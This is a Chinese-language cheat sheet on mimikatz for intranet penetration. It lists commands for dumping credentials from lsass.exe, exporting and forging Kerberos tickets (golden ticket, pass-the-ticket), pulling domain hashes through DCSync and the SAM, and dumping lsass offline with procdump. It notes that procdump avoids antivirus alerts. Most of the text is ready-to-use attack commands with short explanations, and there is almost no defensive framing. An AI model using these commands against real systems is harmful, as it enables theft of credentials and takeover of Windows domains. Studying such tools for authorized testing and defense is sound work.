【说明】
procdump 下载链接及使用方法在文章最后部分 “离线读取lsass.exe”
mimikatz 在内网渗透中,windows 2012以上版本中就无法抓取明文密码,需要搭配 procdump.exe 一起使用
下面所有模块命令均在运行 mimikatz 后自带的命令交互界面中执行
mimikatz基本介绍
- Mimikatz 是一款法国人开发的轻量级的调试工具,通过它可以提升一个进程的权限、读取进程内存等,最大的亮点就是可以直接从 lsass.exe 进程中获取当前登录系统用户名和密码。
- 关于 lsass.exe ,它是微软 Windows 的系统进程,也是一个安全机制,用于本地安全和登陆策略。通常我们在登录系统时输入用户名和密码之后,密码会存储在 lsass 内存中,经过里面 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 mimikatz 正是通过对 lsass 逆算获取到明文密码。
- 下载链接:https://github.com/gentilkiwi/mimikatz/
mimikatz内网渗透常用模块与命令
privilege(提权相关模块)
特别说明:privilege::debug 进入mimikatz命令交互界面的首要操作,也是最基本操作!!!
#记住第一个 privilege::debug 就够了,其他的不常用 privilege::debug//调整为调试权限。mimikatz中很多功能都需要该权限
privilege::security //调整为安全权限
privilege::restore //恢复原来权限
privilege::sysenv //调整为系统环境权限
privilege::driver //调整为装载驱动权限
sekurlsa (与用户凭证相关的模块,可以从 lsass 进程中提取 passwords、keys、tickets等信息)
sekurlsa::msv //读取用户对应密码的各种加密协议的密文(NTML、SHA1等),低版本windows可以读取为明文
sekurlsa::wdigest //wdigest凭证,运用程序漏洞可逆的手法去读取密码明文
sekurlsa::tspkg //tspkg凭证
sekurlsa::logonpasswords //常用并重点使用!!!直接集成上面多条指令功能,读取用户各种凭证和信息。
sekurlsa::tickets //列出kerberos中的票据
sekurlsa::tickets /export //导出票据
#下面两条命令结合使用,可以将转储的lsass进程为lsass.dmp文件,离线读取内存信息
sekurlsa::minidump <filename>或lsass.dump //加载对应文件(lsass.dump)
sekurlsa::logonPasswords full //读取文件信息
kerberos 协议相关模块(常用于 黄金/白银票据)
kerberos::list //列出系统中的所有票据
kerberos::purge //清除系统中的票据
kerberos::ptt //pass-the-ticket,票据传递攻击(内网横移操作)
kerberos::golden //伪造黄金和白银票据使用,具体构造方法不相同
kerberos::ptc //票据路径
kerberos::ptc <票据名> //导入票据
process(进程模块)
process::list //列出进程列表
process::exports //导出进程列表
process::start //开始一个进程
process::stop //停止一个进程
service(服务管理模块)
service::start //开始服务。
service::remove //移除服务。
service::stop //停止服务。
service::suspend //暂停服务。
service::resume //恢复服务。
service::preshutdown //关闭服务。
service::shutdown //关闭服务。
service::list //列出服务。
lsadump(对域控操作模块)
Lsadump::secrets //从registry获取保存的密码凭据,可以直接获取明文密码。
lsadump::lsa /patch //读取所有用户的哈希
lsadump::sam //sam表获取Hash
lsadump::dcsync //通过dcsync利用目录复制服务(DRS)从NTDS.DIT文件中拿到密码哈希值(在域控权限下获取)
lsadump::dcsync /domain:xxxx.com /user:xxxx //查看域内指定用户信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv //查看所有域用户
离线读取 lsass.exe 的密码(模拟无法上传 mimikatz 到目标靶机的情况)
方法一:图形化界面操作
- 任务管理器找到 lsass.exe 进程
- 右键进程,可以选择创建转储文件(相当于导出程序信息),然后就可以看到新建了一个.dmp 后缀的文件。
- 最后用 mimikatz 读取dmp文件即可
方法二:【procdum.exe】命令行操作
procdump.exe 工具:微软官方工具,它可以转储exe进程为 dmp 文件
下载链接:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
- 将 procdump.exe 上传到目标靶机,微软官方工具不会报毒
- 在工具目录下执行命令,导出dmp文件
- 将它下载到有 mimikatz 的主机上,使用mimikatz读取文件信息
procdump.exe -accepteula #运行程序,并同意该工具的使用条款,相当于在图形化界面勾选 I agree
procdump.exe ‐ma lsass.exe lsass.dmp #导出lsass.exe进程为lsass.dmp文件
下面使用 mimikatz 读取内存:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full